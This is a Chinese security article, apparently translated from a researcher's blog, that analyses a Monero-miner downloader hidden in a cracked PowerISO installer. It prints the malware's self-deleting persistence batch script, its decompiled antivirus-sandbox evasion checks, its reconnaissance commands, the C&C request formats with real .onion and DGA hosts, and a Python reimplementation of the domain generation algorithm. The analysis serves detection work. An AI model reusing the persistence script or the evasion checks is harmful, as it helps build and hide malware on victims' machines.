freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

一例门罗币矿工Downloader的DGA解析
2020-03-26 13:00:56

Bert Hubert 注意到了一个涉及 .tickets、.blackfriday、.feedback 等顶级域名的 DGA 域名,并将其发布到 Twitter:

1.jpg

Paul Melson 揭露了其中一个域名与某个门罗币矿工的关联:

2.jpg

产生该域名的样本相关信息如下所示:

属性
MD539c8620827ab6005e57e9e9f172d47ff
SHA1239a7a6ea5155b1863815f595841d00cb0feec46
SHA256e82c95edb680fd6a88b73eb8389759f03aebfcb70e081ecb259ea738e16f8cdd
大小7734 KB,7919356字节

文件是一个 Nullsoft 安装程序,该程序会释放三个文件:

3.jpg

文件描述
PowerISO6-Full.exe可能是 PowerISO 6 的破解版,可能带有其他恶意软件。我并没有分析该文件(MD5:31594d28c74f367073ba17acea9809f6)
svchostc.exe本文涉及的恶意软件(MD5:1d47bd7706b2032aa41257c92cb0e3b1)
launcher.bat用于复制 svchostc.exe 到本地的 appdata 文件夹并创建计划任务以在重新启动时运行的安装脚本(MD5:31c740ee5ebd975decd8345baa5ff4e6)

将 launcher.bat 恶意软件复制到本地 AppData 文件夹并创建计划任务以 svchostc.exe 在主机启动时运行二进制文件(延迟十分钟):

@echo off
echo "PATCHING..."
set installpath=%~1
if not exist "%LOCALAPPDATA%\svchostc\" mkdir %LOCALAPPDATA%\svchostc\ >nul 2>&1
move "%installpath%\svchostc.exe" "%LOCALAPPDATA%\svchostc\svchostc.exe" >nul 2>&1
schtasks /create /tn svchostc /sc ONSTART /DELAY 0010:00 /RL HIGHEST →
  /tr "%LOCALAPPDATA%\svchostc\svchostc.exe" /f >nul 2>&1
start "" "%LOCALAPPDATA%\svchostc\svchostc.exe"

(goto) 2>nul & del "%~f0"

可以在 GitHub 中找到该 svchostc.exe 文件,当前 C&C 的 DGA 域名没有部署任何 Payload,但是从 GitHub 的仓库和 Paul Melson 的推文中都可以知道原本是门罗币的矿工。

关于 Downloader

没有发现关于 Downloader 文件 svchostc.exe(1d47bd7706b2032aa41257c92cb0e3b1)任何公开的分析报告。即使该样本被许多杀毒软件识别为恶意程序,但杀软仅为该样本提供了通用命名。在尝试查找其他样本时,偶然发现了下面这个文件:

属性
MD5a4c3e4634219a9be12aebaebd91c75fa
SHA159ffcd2bc41206ec4e4d2609b818a8e8cc1ec677
SHA2562a821ee54d13c9d83909f1fadc283b9340e3f024cac36e97b29f88a94274788e
大小23213 KB,23769216字节

许多反病毒软件将其判定为 Riskware 或非病毒。该样本与上述文件具有非常相似的功能,但在 C&C 方面有所不同,值得注意的是它没有 DGA。

这两个文件都是用 C++ 编写的,没有剥离调试信息。因此,本文将维持恶意软件编写时函数的原始名称。这两个样本文件都执行以下四个步骤:

1.检查杀软,发现就退出

2.收集系统信息

3.与 C&C 服务器通信下载实际恶意软件

4.确保下载的恶意软件运行,并在必要时重新启动

反杀软

两个样本都使用相同的反杀软检查方法(avTests)。该方法由 Emeric Nasi 于 2014 年 8 月在论文《Bypass Antivirus Dynamic Analysis》中提出。一共六个测试用例,任何一个返回 True 的话恶意软件会休眠 10 秒钟并退出。

a-flsTest

bool flsTest(void)
{
  return FlsAlloc(0i64) != FLS_OUT_OF_INDEXES;
}

b-winApiTest

bool winApiTest(void)
{
  HANDLE hProcess; // rax

  hProcess = GetCurrentProcess();
  return VirtualAllocExNuma(hProcess, 0i64, 1000ui64, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE, 0) != 0i64;
}

c-timeDistortionTest

_BOOL8 timeDistortionTest(void)
{
  DWORD ticks_after; // [rsp+28h] [rbp-8h]
  DWORD ticks_before; // [rsp+2Ch] [rbp-4h]

  ticks_before = GetTickCount();
  Sleep(1000u);
  ticks_after = GetTickCount();
  return ticks_before + 1000 <= ticks_after && ticks_before + 1500 >= ticks_after;
}

d-systemProcessTest

bool systemProcessTest(void)
{
  return OpenProcess(PROCESS_ALL_ACCESS, 0, 4u) == 0i64;
}

e-incrementTest

bool incrementTest(void)
{
  int i; // [rsp+8h] [rbp-8h]
  int cpt; // [rsp+Ch] [rbp-4h]

  cpt = 0;
  for ( i = 0; i <= 99999999; ++i )
    ++cpt;
  return cpt == 100000000;
}

f-memoryTest

__int64 memoryTest(void)
{
  void *Block; // [rsp+28h] [rbp-8h]

  Block = malloc(100000000ui64);
  if ( !Block )
    return 0i64;
  memset(Block, 0, 100000000ui64);
  free(Block);
  return 1i64;
}

收集系统信息

带有 DGA 的样本仅收集两个信息:

失陷主机的处理器数量(GetSystemInfo)

门罗币矿机的已安装版本

矿工的版本以文件名保存在 CSIDL_LOCAL_APPDATA\svchostc 中,例如 C:\Users\User\AppData\Local\svchostc。文件名的格式为 wincache<nr>,其中 <nr> 为整数版本号。可以在 GitHub 上看到此类文件:

4.jpg

在这种情况下,版本号为 15。随后将版本号和处理器数量存储在字符串 ;v:<version>;c:<nrofprocessors> 中,例如 ;v:15;c:2,之后使用 base64 编码(如 O3Y6MTU7YzoyIC1uCg==)。

基于 Tor 的 Downloader 可以通过运行以下命令得到更多细节:

cmd.exe /c "(wmic computersystem get /format:list)

cmd.exe /c "(wmic cpu get /format:list)

cmd.exe /c "(wmic memorychip get /format:list)

cmd.exe /c "(wmic path Win32_VideoController get /format:list)

cmd.exe /c "(wmic /Node:localhost /Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get /format:list)

cmd.exe /c "(wmic nicconfig get /format:list)

cmd.exe /c "(wmic os get /format:list)

cmd.exe /c "(wmic path Win32_SystemEnclosure get /format:list)

下载恶意软件

基于 Tor 的下载器附带的 Tor 版本为 0.3.3.7,该版本安装到 %LOCALAPPDATA%\Temp\。尝试通过代理 127.0.0.1:9050 连接 http://www.google.com 以查看 Tor 是否正在运行。否则尝试重新安装该软件,直到通过 Tor 与 Google 成功连接为止。随后,该恶意软件会尝试交替从以下两个域名下载 Payload:

asxe4d2fmz7ji5ux.onion

dyvt2mleg33f6zdb.onion

基于 DGA 的恶意软件不使用 Tor,两个文件后续的步骤几乎完全相同,只介绍基于 DGA 的恶意软件。首先,恶意软件使用简单的 HTTP GET 请求将系统信息发送到 hello.php:

GET /hello.php?info=O3Y6MDtjOjI= HTTP/1.1
Host: 31b4bd31fg1x2.org 
Connection: close

响应要么需要有 Content-Length HTTP 头,要么需要 Payload 的长度设置在 HTTP 可选头的第一行,长度以文本形式存储。随后是 512 字节的 RSA 签名,然后是签名内容,最后是版本号,格式如下所示:

<length>\r\n
<512 Bytes signature>
<version nr>

使用以下 RSA 密钥验证签名:

30820120300D06092A864886F70D01010105000382010D00308201080282010100B5E3FE072C644E09E276**8**3DF8944FB9DE98641F9FA24785B1217581924299D5CBFF5FFA803A5A88F54142E9124E41BA2E9AE6862D5542D7592846E853F5C04AEC33550CB8023CE9780E15B4B6E1C***61683E0D387A6DC610DEF52AEE75D99706EA7AF7D9**65F97F14C9E2BA42BBE4735124AE08BA70962FA3DED1EDC5571644B0F6659671AED866164255D229946002D4A7C1D5B360410132EB5801AB985506316708170D749362E4B0E8B825EF358A2FA87601DE49E27E89F728E09D6FEAC1005F69BCDE8E63BEC25B3ED1664B29480501FAD3E9F3D043894A1D4751FFD4ACE00E403D5D1911C98CAFC54074CA04D126AEE24A4173625D57D3DD44E2F020111

如果版本号的签名正常,并且版本大于已安装的挖矿程序,则发出第二个 HTTP 请求:

GET /binary HTTP/1.1
Host: 31b4bd31fg1x2.org 
Connection: close

响应的结构与前述相同,但不是版本号而是随恶意软件一起提供的未加密文档。

DGA

基于 DGA 的恶意软件噪音很大,它会生成无限数量的域名,直到获得有效的 Payload 为止:

5.jpg

Downloader 有以下五个顶级域名:

.org

.tickets

.blackfriday

.hosting

.feedback

每个顶级域名都传递到一个单独的线程中,该线程生成二级域名,然后执行前述操作。

DGA 每天最多生成五百个二级域名(共计两千五百个二级域名)。每天的第一个域名都是特殊的,该域名始终使用硬编码的第二个域名 31b4bd31fg1x2。其余 499 个域名的生成如下所示:

1.确定自 1970.1.1 以来的天数

2.将硬编码的 Magic Number(jkhhksugrhtijys78g46)与前一步的天数和当前域名的计数(1 到 499)用短划线连接起来(如 jkhhksugrhtijys78g46-18243-1)

3.对字符串进行 MD5 哈希,例如 00120343a5dc7d2e4e11938b0e1fed43

4.使用哈希的前 13 个字母作为二级域名并连接该线程所属的顶级域名,如 00120343a5dc7.org

以下 Python 代码解释了 DGA 生成的过程:

from datetime import datetime
import hashlib
import argparse

tlds = [
    ".org",
    ".tickets",
    ".blackfriday",
    ".hosting",
    ".feedback",
]

magic = "jkhhksugrhtijys78g46"
special = "31b4bd31fg1x2"

def dga(date, back=0):
    epoch = datetime(1970, 1, 1)
    days_since_epoch = (date - epoch).days
    days = days_since_epoch
    for j in range(back+1):
        for nr in range(500):
            for tld in tlds:
                seed = "{}-{}-{}".format(magic, days, nr)
                m = hashlib.md5(seed.encode('ascii')).hexdigest()
                mc = m[:13]
                if nr == 0:
                    sld = special
                else:
                    sld = mc

                domain = "{}{}".format(sld, tld)
                yield domain
        days -= 1

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-d", "--date", help="date when domains are generated")
    args = parser.parse_args()
    if args.date:
        d = datetime.strptime(args.date, "%Y-%m-%d")
    else:
        d = datetime.now()
    for domain in dga(d):
        print(domain)

例如,推文的中显示域名来自 2018 年 4 月 10 日,如下所示:

python3 dga.py --date 2018-04-10

总结

属性描述
类型确定时间相关
生成方案MD5 哈希
种子当前日期与 Magic 字符串
域名变化频率1 天
每天生成域名数量499(+1 硬编码)
顺序每个顶级域名在单独的线程中运行,在该线程中依次生成域名
域名之间的等待时间
顶级域名.org、.tickets、.blackfriday、.hosting、.feedback
二级域名字符a-z0-f
二级域名长度13

*参考来源:johannesbader,FB 小编 Avenger 编译,转载请注明来自FreeBuf.COM

# DGA # 门罗币 # 矿工
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者